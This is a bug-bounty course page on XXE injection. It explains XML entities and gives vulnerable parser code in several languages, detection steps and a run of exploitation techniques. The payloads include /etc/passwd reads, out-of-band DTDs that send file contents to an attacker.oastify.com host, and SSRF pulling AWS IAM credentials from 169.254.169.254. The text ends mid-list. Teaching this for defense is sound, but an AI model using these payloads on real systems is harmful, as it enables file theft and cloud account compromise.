InjectionHardServer-Side

XXE Injection

A complete guide to understanding, detecting, exploiting, and preventing XXE Injection vulnerabilities.

Take Exam

Step 1 of 2Introduction0% Complete

Introduction

XML External Entity (XXE) Injection

ANAS EDUCATION -- Bug Bounty & Pentesting Course (V2 Beginner-First)

SECTION 1. Introduction

Imagine you open your PC and visit `anastech.com`.

You go to the "Contact" page. There is a form: Name, Phone, Email, Password. You fill it:

  • Name: anas
  • Phone: 0612345678
  • Email: anas@example.com
  • Password: passwordtest

You click "Submit".

Behind the scenes, the browser does not send a plain HTML form. It sends an XML document because the backend is an old SOAP-style web service that the developers wrapped behind a modern form:

http
POST /contact HTTP/1.1
Host: anastech.com
Content-Type: application/xml
Content-Length: 178

<?xml version="1.0" encoding="UTF-8"?>
<root>
  <name>anas</name>
  <tel>0612345678</tel>
  <email>anas@example.com</email>
  <password>passwordtest</password>
</root>

The server reads that XML, parses it, and stores it. The response is:

text
HTTP/1.1 200 OK
<message>Thanks, anas! Your contact was saved.</message>

Normal. Expected. Safe.

Now look at the same picture again, but with a question on top of it: what if the XML the browser sends is not just data? What if it carries instructions?

XML has a feature called entities. An entity is like a variable inside an XML document. You declare it once at the top, then reference it as `&entity_name;` and the XML parser substitutes the declared value.

Most entities are harmless. But XML supports a kind called external entities, declared with the `SYSTEM` keyword, that can read from a URL: a file path, an HTTP URL, an FTP URL.

Watch what happens if the attacker sends this body instead:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <name>anas</name>
  <tel>0612345678</tel>
  <email>&xxe;</email>
  <password>passwordtest</password>
</root>

The XML parser sees the entity declaration `<!ENTITY xxe SYSTEM "file:///etc/passwd">`. When it expands `&xxe;`, it does not insert a constant. It opens the file `/etc/passwd` on the server and substitutes its contents into the email field.

If the server later echoes the email back, the attacker reads `/etc/passwd`:

text
<message>Thanks, root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
! Your contact was saved.</message>

That is XXE: XML External Entity injection.

It is one of the most powerful, most underestimated, and most still-exploitable web vulnerabilities in 2026. It does not just read files. It probes internal networks, steals AWS credentials, performs SSRF, exfiltrates secrets over DNS, and in some cases leads to remote code execution.

This course teaches the XXE bug class from zero. By the end you will know:

  • What XML, DTD, and entities really are.
  • How XML parsers expand entities and where the bug lives.
  • Classic in-band file read, error-based read, blind XXE with out-of-band.
  • XXE-to-SSRF, AWS metadata theft, port scanning from the parser.
  • XXE via SVG, DOCX, XLSX, JSON-to-XML content-type swap.
  • How to detect, exploit, and prevent every variant.

You do not need to be an XML expert. You need to read carefully.

SECTION 2. How It Works

To find these bugs you first need to understand XML and entities in detail. The story has three actors: the XML document, the DTD, and the parser.

Step 1. What an XML document looks like

XML is a text format. Tags wrap data:

xml
<?xml version="1.0" encoding="UTF-8"?>
<contact>
  <name>anas</name>
  <email>anas@example.com</email>
</contact>

The first line is the XML declaration (version + encoding). The rest is the document body. Tags must be properly nested and closed.

Step 2. What a DTD is

A DTD (Document Type Definition) is a small schema that lives inside (or beside) the XML. It declares what elements exist and what entities are available. The DTD lives inside a `<!DOCTYPE ...>` block:

xml
<!DOCTYPE contact [
  <!ENTITY company "AnasTech Corp">
]>
<contact>
  <name>anas</name>
  <employer>&company;</employer>
</contact>

The XML parser sees `&company;` and substitutes `AnasTech Corp`. That is an internal entity. Useful, harmless.

Step 3. External entities, the dangerous cousin

An external entity uses the `SYSTEM` keyword and a URL:

xml
<!DOCTYPE contact [
  <!ENTITY logo SYSTEM "file:///var/www/logos/anastech.svg">
]>
<contact>
  <name>anas</name>
  <logo>&logo;</logo>
</contact>

When the parser expands `&logo;`, it does not substitute a constant. It opens the URL with whatever loader the language provides, then inserts the resulting bytes.

The loader supports many schemes depending on the parser:

  • `file://` ==> local files
  • `http://` and `https://` ==> outbound HTTP requests
  • `ftp://` ==> outbound FTP
  • `php://filter` ==> PHP-specific stream wrappers (extremely useful)
  • `expect://` ==> command execution on some PHP setups
  • `jar://`, `netdoc://` ==> Java-specific schemes

If the parser is misconfigured to allow this expansion, the attacker controls what URL is fetched. That is the entire bug.

Step 4. The safe flow (no XXE)

text
+---------------------+      +-------------------+
|  Browser            |      |  Server           |
|  sends XML doc      | ---> |  XML parser       |
|  (no DTD)           |      |  DTD disabled     |
+---------------------+      +-------------------+
                                       |
                                       v
                          +-----------------------+
                          |  Application logic    |
                          |  reads <name>,        |
                          |  <email>, stores them |
                          +-----------------------+
                                       |
                                       v
                          +-----------------------+
                          |  Response: "saved"    |
                          +-----------------------+

No DTD is processed. No external entities are resolved. The XML is treated as inert data.

Step 5. The vulnerable flow (XXE present)

text
+---------------------+      +-------------------------------+
|  Attacker           |      |  Server                       |
|  sends XML doc      | ---> |  XML parser                   |
|  WITH DOCTYPE +     |      |  DTD ALLOWED                  |
|  <!ENTITY xxe       |      |  External entities ALLOWED    |
|   SYSTEM "file://   |      +-------------------------------+
|   etc/passwd">      |                  |
+---------------------+                  v
                          +------------------------------+
                          |  Parser sees &xxe;           |
                          |  Opens file:///etc/passwd    |
                          |  Reads bytes                 |
                          |  Substitutes into doc        |
                          +------------------------------+
                                       |
                                       v
                          +------------------------------+
                          |  Application reads <email>   |
                          |  ... but <email> now         |
                          |  contains /etc/passwd!       |
                          +------------------------------+
                                       |
                                       v
                          +------------------------------+
                          |  Response echoes <email>     |
                          |  Attacker reads /etc/passwd  |
                          +------------------------------+

The bug is structural. The parser is doing its job; the developer's mistake is that the parser was left with dangerous defaults.

Step 6. The four families of XXE

  • In-band XXE ==> the resolved entity ends up in the HTTP response body. The attacker reads files directly.
  • Error-based XXE ==> the resolved entity does not appear in the response, but it appears in an error message (e.g., the parser tries to parse `/etc/passwd` as XML and fails with the contents printed in the error).
  • Blind XXE (out-of-band) ==> the resolved entity is never visible to the attacker, but the attacker controls a server and uses the entity to make the parser issue HTTP/DNS callbacks. Data is exfiltrated through those callbacks.
  • XXE-to-SSRF ==> the entity does not point at a file but at a URL inside the network (e.g., `http://169.254.169.254/` for AWS metadata, or `http://10.0.0.5/` for internal services). The parser is used as an SSRF gadget.

These four variants will appear throughout the course. The detection probes change. The impact does not: every variant is a high-severity bug.

SECTION 3. Attack Flow

The flow below is the canonical XXE attack. Read it once end-to-end, then again with the diagram.

Step 1: Recon

The attacker browses the application looking for any feature that accepts XML. Likely places: SOAP endpoints, file imports (XML, SVG, DOCX, XLSX), webhook receivers, RSS readers, sitemap parsers, contact forms with `Content-Type: application/xml`, custom emblems/avatars (Rockstar Games style), and APIs that accept either JSON or XML based on `Content-Type`.

Step 2: Baseline a clean request

Submit a normal XML body. Confirm the server accepts it and returns a response. Note what fields are echoed back.

Step 3: Send a harmless DTD probe

Add a `DOCTYPE` block declaring an entity with a constant value, e.g.:

xml
<!DOCTYPE foo [ <!ENTITY test "hello"> ]>
<root>
  <name>anas</name>
  <email>&test;</email>
</root>

If the response echoes `hello`, the parser accepts internal entities. That is half the requirement.

Step 4: Promote to an external entity

Swap the literal value for `SYSTEM "file:///etc/passwd"`. If the response now contains the contents of `/etc/passwd`, the bug is confirmed in-band.

Step 5: If no echo, try error-based

Force the parser to fail while it has the file contents in scope. For example, point at a file the parser tries to interpret as XML:

xml
<!ENTITY xxe SYSTEM "file:///etc/passwd">

Some parsers will print `Premature end of file, near 'root:x:0:0:root...'` in their error message. The error itself leaks the file.

Step 6: If no error, escalate to blind XXE

Use parameter entities and an external DTD hosted on attacker-controlled infrastructure (e.g., Burp Collaborator) to leak the file contents through HTTP callbacks. See section 11 for the full payload.

Step 7: Pivot to SSRF

Even when files are not interesting, point at `http://169.254.169.254/latest/meta-data/` (AWS metadata) or any internal IP. If the parser fetches it, the attacker now has SSRF, and on cloud instances that means AWS credentials are within reach.

Step 8: Chain to RCE if conditions allow

On PHP setups with the `expect://` wrapper, on Java apps using deprecated `jar://` schemes, or via Tika-style PDF parsing chains, XXE can become RCE. This is rare but it happens.

ASCII timing diagram

text
TIME    ATTACKER                              SERVER
-----   -----------------------------         -----------------------------
T0      POST /contact (clean XML)       --->
T0+1                                          200 OK -- baseline good
T1      POST /contact + ENTITY test     --->
T1+1                                          200 OK -- echoes "hello"
T2      POST /contact + SYSTEM file://  --->
T2+1                                          200 OK -- echoes /etc/passwd
T3      Read /etc/passwd, /etc/shadow,
        webroot config, .env, id_rsa    --->
T3+1                                          all leaked
T4      POST /contact +
        SYSTEM http://169.254.169.254   --->
T4+1                                          200 OK -- AWS IAM token leaked
T5      Use stolen IAM token to call    --->
        AWS API directly                      Full cloud account compromise

XXE is fast. The exploitation usually takes minutes once detection is confirmed.

SECTION 4. Why Developers Make This Mistake

XXE is not a logic flaw. It is a defaults flaw. Below are the five mental shortcuts that put the bug into production code.

Mistake 1: "XML is just data"

Developers assume an XML body is the same shape as a JSON body: keys, values, nesting, nothing more. They forget that XML carries an active parsing language (DTD + entities) that JSON does not have. JSON cannot fetch a file by itself. XML can.

Mistake 2: "We use the standard library, it must be safe"

Many language standard libraries had unsafe XML defaults for years. Java's `DocumentBuilderFactory`, PHP's `libxml`, Python's `lxml`, .NET's `XmlDocument` all expanded external entities by default historically. Even when defaults flipped to safe, a developer who copy-pasted older sample code reintroduced the bug.

Mistake 3: "We disable entities on our login endpoint, the rest is fine"

XML parsing is a per-instance setting. Disabling entities on the login parser does not affect the parser on the contact endpoint, the parser on the SOAP endpoint, the parser on the sitemap endpoint, or the parser inside the office-document library. Every parser must be hardened individually.

Mistake 4: "Our API only accepts JSON"

This is the most dangerous assumption. Many frameworks happily switch parsers based on `Content-Type`. Send `Content-Type: application/xml` with an XML body and the same controller suddenly parses XML. If no one configured the XML parser, it uses defaults.

Mistake 5: "We do not handle XML, just file uploads"

Office documents (DOCX, XLSX, PPTX) are zipped XML files. SVG is XML. Sitemap.xml is XML. RSS is XML. SOAP is XML. PDF/A metadata is XML. EXIF metadata in some image formats is XML. Any "we accept files" feature is implicitly an "we parse XML" feature.

Mistake 6: "DTDs are deprecated, nobody uses them"

That is the developer's assumption, not the parser's behavior. Parsers still process DTDs by default in many languages. Attacker-supplied DTDs are not deprecated at all.

SECTION 5. Beginner Summary

  • XML lets the document declare reusable values called entities. The dangerous kind, external entities, can read from a file or a URL.
  • XXE happens when an XML parser expands attacker-controlled external entities. The result is read into the application's data model, then often echoed back or used in a query.
  • The classic payload reads `/etc/passwd` or `C:/Windows/win.ini` by declaring `<!ENTITY xxe SYSTEM "file:///etc/passwd">` and referencing `&xxe;`.
  • When the response does not echo the file, attackers escalate to blind XXE with out-of-band callbacks: the parser fetches an attacker URL and the file contents travel back as part of that URL.
  • Defense is one line per parser: disable DTDs and external entity resolution. The exact API varies by language but the principle is the same: do not let the document instruct the parser.

SECTION 6. Visual Explanation

The entity expansion (safe versus dangerous)

text
SAFE INTERNAL ENTITY                  DANGEROUS EXTERNAL ENTITY
---------------------                 -------------------------
<!DOCTYPE c [                         <!DOCTYPE c [
  <!ENTITY x "hello">                   <!ENTITY x SYSTEM
]>                                      "file:///etc/passwd">
<c><v>&x;</v></c>                      ]>
                                       <c><v>&x;</v></c>

Parser substitutes "hello"             Parser opens /etc/passwd
into <v>                              and substitutes its bytes
                                      into <v>

The four XXE families

text
                +-----------------------+
                |   XXE FAMILIES        |
                +----------+------------+
                           |
       +-------------------+-------------------+-----------------+
       |                   |                   |                 |
       v                   v                   v                 v
 +-----------+      +-----------+       +-----------+      +-----------+
 | IN-BAND   |      | ERROR-    |       | BLIND     |      | XXE-TO-   |
 |           |      | BASED     |       | OOB       |      | SSRF      |
 +-----------+      +-----------+       +-----------+      +-----------+
 | file in   |      | file in   |       | file via  |      | URL fetch |
 | response  |      | error msg |       | callback  |      | internal  |
 +-----------+      +-----------+       +-----------+      +-----------+

The blind-XXE callback chain

text
+------------+           +-------------------+           +-------------------+
| ATTACKER   |           | VICTIM SERVER     |           | ATTACKER SERVER   |
|            |           |  (XML parser)     |           |  (collaborator)   |
+------------+           +-------------------+           +-------------------+
       |                          |                              |
       |  1. POST with DOCTYPE    |                              |
       |  pointing to external    |                              |
       |  DTD on attacker server  |                              |
       |------------------------->|                              |
       |                          |                              |
       |                          |  2. Parser fetches DTD       |
       |                          |---------------------------- >|
       |                          |                              |
       |                          |<-----------------------------|
       |                          |  3. DTD instructs parser     |
       |                          |  to read local file and      |
       |                          |  send result via HTTP        |
       |                          |                              |
       |                          |  4. Parser reads file        |
       |                          |  Parser builds callback URL  |
       |                          |  http://attacker/?d=BASE64   |
       |                          |---------------------------- >|
       |                          |                              |
       |                          |                              |
       |  5. Attacker reads URL log on attacker server           |
       |  Decodes base64 -> file contents                         |
       |<----------------------------------------------------------|
       |                                                         |

The XXE-to-AWS-metadata chain

text
+--------+         +---------+         +-------------------------+
| HACKER | ----->  | VICTIM  | ----->  | http://169.254.169.254/ |
|        |  XML +  | SERVER  | HTTP    |  AWS metadata service   |
|        |  ENTITY | (cloud) |         |  (link-local IP)        |
+--------+         +---------+         +-------------------------+
                       |                          |
                       |  Response: instance-id,  |
                       |  region, IAM role,       |
                       |  AccessKeyId,            |
                       |  SecretAccessKey,        |
                       |  Token                   |
                       |<-------------------------|
                       |
                       |  Returned to attacker
                       |  via XML response
                       v
                +-------------+
                | ATTACKER    |
                | now owns    |
                | the cloud   |
                | account     |
                +-------------+

The OOB payload skeleton

text
LOCAL PARAMETER ENTITY            EXTERNAL DTD (attacker-hosted)
--------------------------        ------------------------------
<!DOCTYPE foo [                   <!ENTITY % file SYSTEM
  <!ENTITY % extDTD SYSTEM          "file:///etc/passwd">
  "http://atk/x.dtd">             <!ENTITY % wrap "<!ENTITY
  %extDTD;                          send SYSTEM
]>                                  'http://atk/?d=%file;'>">
<root><x>&send;</x></root>        %wrap;
                                  %send;

SECTION 7. Definition

Technical definition

XML External Entity (XXE) injection is a vulnerability that arises when an XML parser processes input that defines or references external entities, and the parser is configured to resolve those references. By controlling the input, the attacker forces the parser to fetch arbitrary URIs ("file://", "http://", "ftp://", "php://filter", "expect://", "jar://", etc.) and to substitute the fetched content into the document's data model. The substituted content is then made available to the application, leaked through error messages, or exfiltrated through callbacks.

  • CWE-611: Improper Restriction of XML External Entity Reference
  • CWE-776: Improper Restriction of Recursive Entity References ("Billion Laughs", a related DoS)
  • CWE-918: Server-Side Request Forgery (when XXE is used as the SSRF primitive)
  • OWASP Top 10 (historical): A04:2017 XML External Entities; merged into A05:2021 Security Misconfiguration

Beginner-friendly definition

XXE is a bug where the attacker tells the server's XML reader to "open this file" or "fetch this URL", and the reader does it without checking.

Why it matters

XXE remains active and high-severity in 2026 despite being a textbook bug. Recent confirmation:

  • CVE-2025-68493 (Apache Struts S2-069) -- CVSS 9.8. The XWork component of Apache Struts does not properly restrict XML external entities when parsing XML configuration. Disclosed January 2026. Patched in Struts 6.1.1. Reference: https://cwiki.apache.org/confluence/display/WW/S2-069
  • CVE-2025-66516 (Apache Tika via PDF) -- CVSS 10.0. Malicious PDFs trigger XXE through Tika's PDF parser; the fix lives in tika-core, not the PDF module. Replaced CVE-2025-54988. Disclosed December 2025.
  • Cisco Identity Services Engine (ISE) XXE -- Cisco-SA-ISE-XXE-jWSbSDKt. Improper XML parsing in the web management interface allows an authenticated admin to read arbitrary files via a crafted upload.
  • GeoServer WMS GetMap XXE -- GHSA-fjf5-xgmq-5525. Unauthenticated XXE via the GetMap operation, allowing file read, SSRF, and DoS. Disclosed November 2025.
  • Microsoft SQL Server 2025 Web Service Task XXE -- Multiple bug-reference fixes (5131006, 5178546, 5131003) addressing XXE in Web Service Tasks where attackers could read arbitrary files from the local file system. Patched in cumulative updates.
  • Historical reference incidents: Equifax (2017), where unpatched Apache Struts XML processing contributed to the 143M-record breach.

Common affected systems

  • SOAP APIs and legacy enterprise web services
  • RSS readers, sitemap parsers (CVE-2025-68493 hit XML configs in Struts)
  • Office document processors (DOCX, XLSX, PPTX), PDF document processors (Tika)
  • SVG processors and image upload pipelines
  • SAML identity providers and consumers
  • WebSub/PubSubHubbub callback parsers
  • SCAP / DAST scanners themselves
  • Sitemap submission endpoints (Semrush HackerOne report #312543)
  • Custom emblem/avatar XML processors (Rockstar Games HackerOne #347139)
  • SOAP testing tools, XML import features in CMSes
  • WMS/WFS geospatial services (GeoServer)

SECTION 8. Examples

Each example follows the same template: the feature, the bug, the attack step by step.

Example 1. AnasMarket "Stock check" SOAP endpoint

The feature. AnasMarket has a small SOAP endpoint that takes a product ID and a store ID and returns stock availability. The endpoint accepts `Content-Type: application/xml` for legacy integration with old partner systems.

The bug. The endpoint uses the language's default XML parser, which resolves external entities.

The attack step by step.

  • Step 1: send a baseline `<stockCheck><productId>1</productId><storeId>2</storeId></stockCheck>` and confirm the response echoes the product name.
  • Step 2: inject a DTD declaring `<!ENTITY xxe SYSTEM "file:///etc/passwd">` and reference `&xxe;` in `<productId>`.
  • Step 3: read the response. The product-name field now contains `/etc/passwd`.
  • Step 4: pivot to `http://169.254.169.254/latest/meta-data/iam/security-credentials/` to steal IAM credentials.
  • Step 5: log into the AWS account directly with the stolen credentials.

The full PortSwigger-style payload:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck>
    <productId>&xxe;</productId>
    <storeId>3</storeId>
</stockCheck>

Example 2. AnasDocs DOCX file import

The feature. AnasDocs lets users upload `.docx` files. The server extracts text for indexing. Internally, .docx is a ZIP archive whose `word/document.xml` is parsed by an XML library.

The bug. The XML library used to parse `word/document.xml` is initialized with default settings that allow external entities.

The attack step by step.

  • Step 1: create an empty `.docx` in LibreOffice.
  • Step 2: unzip it, edit `word/document.xml`, prepend a DOCTYPE block with `<!ENTITY xxe SYSTEM "file:///etc/hostname">`, place `&xxe;` inside a text run.
  • Step 3: re-zip with the same structure.
  • Step 4: upload the modified file.
  • Step 5: open the document on the platform. The hostname leaks where the text was supposed to appear.

This is the class of attack Apache Tika fell into with CVE-2025-66516.

Example 3. AnasTravel sitemap submission

The feature. AnasTravel runs an SEO tool that lets users submit a partner site's `sitemap.xml` URL. The tool fetches the URL and parses it to index the partner's pages.

The bug. The XML parser used for sitemap parsing resolves external DTDs.

The attack step by step.

This is the exact pattern from the Semrush HackerOne disclosure (report #312543).

Example 4. AnasSocial SVG avatar upload

The feature. AnasSocial lets users upload an SVG file as a profile picture. SVG is XML.

The bug. The image-processing pipeline parses the SVG with a default XML parser before rasterizing it.

The attack step by step.

  • Step 1: build a small SVG file with a `<!DOCTYPE svg>` declaration and an external entity.
  • Step 2: place `&xxe;` inside a `<text>` element so the file contents are rendered into the rasterized image (or simply read from the parse result).
  • Step 3: upload the SVG, then view the rendered avatar.
  • Step 4: the rendered image (or a debug field) contains the file contents.
xml
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg">
  <text x="0" y="64" font-size="16">&xxe;</text>
</svg>

Example 5. AnasOne JSON API content-type confusion

The feature. AnasOne ships a modern JSON-only API for its mobile app. The endpoint `/api/v1/profile` accepts `Content-Type: application/json` and returns JSON.

The bug. The Spring (or similar) controller is configured to accept both JSON and XML via content negotiation. When the request says `Content-Type: application/xml`, Spring parses it as XML. The XML parser was never hardened because nobody on the team thought of it as an XML endpoint.

The attack step by step.

  • Step 1: take a normal JSON request body.
  • Step 2: change `Content-Type` to `application/xml`. Re-encode the body as XML.
  • Step 3: include a DOCTYPE with an external entity. Reference it inside any field that will be echoed back (`<displayName>&xxe;</displayName>`).
  • Step 4: receive the file contents in the response.

This is one of the most common XXE patterns found in modern apps in 2024 to 2026. It is what makes the "we use JSON" argument unsafe.

SECTION 9. Vulnerable Code

Each language ships its own XML library and its own default. Below are the vulnerable patterns. The "what is wrong" comment tells you exactly which line creates the bug.

Python (lxml)

python
from lxml import etree

def parse_contact(xml_str):
    # WRONG: default parser resolves entities
    parser = etree.XMLParser()        # no_network=False, resolve_entities=True
    tree = etree.fromstring(xml_str, parser=parser)
    return tree.find('email').text

Python (xml.etree, also vulnerable historically)

python
import xml.etree.ElementTree as ET

def parse_contact(xml_str):
    # WRONG in older Python versions; safer in 3.7+
    return ET.fromstring(xml_str)

PHP (libxml)

php
<?php
// WRONG: load_entities is the default for libxml < 2.9 era;
// even on newer versions LIBXML_NOENT triggers entity substitution
$dom = new DOMDocument();
$dom->loadXML($xmlString, LIBXML_NOENT | LIBXML_DTDLOAD);
echo $dom->getElementsByTagName('email')->item(0)->textContent;
?>

Node.js (libxmljs)

javascript
const libxmljs = require('libxmljs');

function parseContact(xmlString) {
    // WRONG: noent: true expands external entities
    const doc = libxmljs.parseXml(xmlString, { noent: true, dtdload: true });
    return doc.get('//email').text();
}

Java (DocumentBuilderFactory, classic case)

java
import javax.xml.parsers.*;
import org.w3c.dom.*;

public Document parseContact(String xml) throws Exception {
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    // WRONG: defaults historically resolve external entities
    DocumentBuilder db = dbf.newDocumentBuilder();
    return db.parse(new ByteArrayInputStream(xml.getBytes()));
}

Java (SAXParser)

java
SAXParserFactory spf = SAXParserFactory.newInstance();
// WRONG: external entities on by default in older versions
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(xml)), handler);

C# / .NET (XmlDocument)

csharp
var doc = new XmlDocument();
// WRONG in .NET < 4.5.2; even later, XmlResolver can be set to a network resolver
doc.XmlResolver = new XmlUrlResolver();
doc.LoadXml(xmlString);

Ruby (Nokogiri)

ruby
require 'nokogiri'

# WRONG: NOENT expands external entities
doc = Nokogiri::XML(xml_string) do |config|
  config.noent
end
puts doc.xpath('//email').text

Go (encoding/xml is safe; only third-party libs are typically vulnerable)

go
// Default encoding/xml does NOT resolve external entities, but...
// third-party libs may. Example: gopkg.in/xmlpath.v2 historically
// expanded external entities.

The universal pattern across languages

  • 1. The application accepts an XML body, often via a middleware or framework binding.
  • 2. The parser is constructed with default settings or with options that enable DTD/entity processing.
  • 3. The application reads a field that contained an entity reference and uses it in a response, log, or downstream query.
  • 4. The attacker controls the entity declaration through the XML body.

Every fix has the same shape: configure the parser to forbid DTDs and external entities. The exact API differs; the goal does not.

EOFSECTION_NEVER_USED

SECTION 10. Detection

XXE detection has two phases. Phase one confirms the endpoint accepts XML and processes DTDs at all. Phase two confirms entities are resolved.

Manual detection workflow

  • Step 1: find every endpoint that accepts XML. Look at `Content-Type` in requests; also try sending XML to JSON endpoints with the content-type swap trick.
  • Step 2: baseline a normal XML request. Confirm the response shape. Note which input fields are echoed.
  • Step 3: send an internal-entity probe to confirm DTD parsing:
xml
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY test "anastech-probe-xxe"> ]>
<root>
  <name>&test;</name>
</root>

If the response contains `anastech-probe-xxe`, the parser processes DTDs.

  • Step 4: promote to external entity:
xml
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root>
  <name>&xxe;</name>
</root>

If `root:x:0:0` lands in the response, in-band XXE confirmed.

  • Step 5: if no echo, send an OOB probe with Burp Collaborator:
xml
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://YOUR.collaborator.net/probe"> ]>
<root>
  <name>&xxe;</name>
</root>

Watch for inbound HTTP or DNS callbacks. If they arrive, blind XXE confirmed.

  • Step 6: try the SSRF pivot to confirm internal reachability:
xml
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">

Burp Suite step by step

  • Right-click the suspicious request and pick "Send to Repeater".
  • In Repeater, change the body to one of the probes above.
  • If responses leak file contents or trigger callbacks, escalate to PoC.
  • Use Burp Collaborator (Burp Suite Professional, "Burp" -> "Collaborator client") for blind detection. Each Collaborator payload is a unique subdomain that logs DNS and HTTP hits.

Automated tools and URLs

Quick command-line probe

bash
curl -sS -X POST https://target.anastech.com/contact \
  -H 'Content-Type: application/xml' \
  --data '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><root><name>&x;</name></root>'

If the response includes `root:x:`, you have in-band XXE.

Indicators of vulnerability

  • Endpoint accepts `Content-Type: application/xml` or `text/xml` and returns XML/JSON content.
  • SOAP endpoints, file-upload endpoints (especially .xml, .svg, .docx, .xlsx, .pptx).
  • Frameworks: older Apache Struts (XWork), Apache Tika-using ingestion pipelines, anything that parses sitemaps.
  • Error messages reveal Java/PHP/.NET XML parser stack traces.
  • Content negotiation: same endpoint serves JSON and XML depending on `Accept` or `Content-Type`.

SECTION 11. Exploitation

Exploit techniques scale from a one-line probe to multi-stage out-of-band exfiltration.

Workflow

  • 1. Confirm DTD parsing with an internal-entity probe.
  • 2. Confirm external entity expansion with `file://`.
  • 3. If no echo, pivot to error-based or OOB.
  • 4. Add SSRF target (`169.254.169.254`, internal IPs).
  • 5. Combine with PHP filter wrappers for binary file extraction.
  • 6. If conditions allow, escalate to RCE via `expect://`, Tika PDF chain, or downstream parser.

Techniques

1. Classic in-band file read (Linux)

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

2. Classic in-band file read (Windows)

xml
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY xxe SYSTEM "file:///C:/inetpub/wwwroot/web.config">

3. Read PHP source via base64 stream wrapper

PHP's libxml supports `php://filter`, which lets the attacker base64-encode binary or PHP source files so they survive the XML round trip:

xml
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">

Decode the result locally with `base64 -d` to read the PHP source.

4. Blind XXE with out-of-band interaction

When the response is not echoed, point the entity at attacker-controlled infrastructure:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://YOUR.oastify.com/"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

If a callback arrives on the Collaborator server, blind XXE is confirmed.

5. Blind XXE with external DTD (parameter entities)

Local DTDs cannot reference parameter entities inside another entity. The fix is an attacker-hosted external DTD. The XML body says "go fetch my DTD":

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % extDTD SYSTEM "http://attacker.oastify.com/external.dtd">
  %extDTD;
]>
<stockCheck>
  <productId>1</productId>
  <storeId>2</storeId>
</stockCheck>

The hosted `external.dtd` defines the exfiltration chain:

xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY send SYSTEM 'http://attacker.oastify.com/?d=%file;'>">
%wrap;
%send;

The parser reads `/etc/passwd`, packs it into a URL, and fetches the URL. Attacker reads the inbound log and decodes.

6. Error-based exfiltration via external DTD

When the parser raises a verbose error containing the file, force an error after reading the file:

xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % err "<!ENTITY % e2 SYSTEM 'file:///nonexistent/%file;'>">
%err;
%e2;

The parser fails to open a nonexistent path that includes the file contents, and the path appears in the error message.

7. SSRF to AWS metadata service (169.254.169.254)

The IP `169.254.169.254` is reserved as a link-local address (RFC 3927). Cloud providers (AWS EC2, Google Cloud, Azure) host an internal metadata service at this IP that is only reachable from inside an instance. It serves:

  • instance-id, region, availability zone
  • attached IAM role
  • Temporary credentials (AccessKeyId, SecretAccessKey, Token)

XXE turns the parser into an SSRF gadget capable of reading the metadata service:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<stockCheck>
    <productId>&xxe;</productId>
    <storeId>1</storeId>
</stockCheck>

For AWS specifically, walk the path to the IAM role then fetch credentials:

text
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>

The latter returns JSON with `AccessKeyId`, `SecretAccessKey`, and `Token`. The attacker uses these to call any AWS API the role allows. Note: AWS IMDSv2 mitigates this when enforced (token-based). IMDSv1 hosts remain reachable through plain GET.

8. SSRF to internal services

xml
<!ENTITY xxe SYSTEM "http://10.0.0.5:6379/">      <!-- internal Redis -->
<!ENTITY xxe SYSTEM "http://192.168.1.10/admin/"> <!-- internal admin panel -->
<!ENTITY xxe SYSTEM "http://localhost:8080/jolokia/"> <!-- Java JMX -->

9. Port scanning from the parser

Iterate the port and watch response timing or errors:

xml
<!ENTITY xxe SYSTEM "http://localhost:22/">
<!ENTITY xxe SYSTEM "http://localhost:3306/">
<!ENTITY xxe SYSTEM "http://localhost:5432/">

Different ports yield different timings and error messages, allowing identification of open ports inside the VPC.

10. XInclude injection (when XML body comes from a SOAP wrapper)

Some applications wrap user-supplied XML inside a larger SOAP envelope. The attacker cannot inject a DOCTYPE because the outer wrapper already has one. XInclude works without DOCTYPE:

xml
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

If the parser supports XInclude and it is enabled, file contents are included into the output.

11. SVG XXE (file upload pivot)

xml
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg">
  <text x="0" y="64" font-size="14">&xxe;</text>
</svg>

Upload and view. Rendered text contains the host file.

12. DOCX/XLSX/PPTX XXE

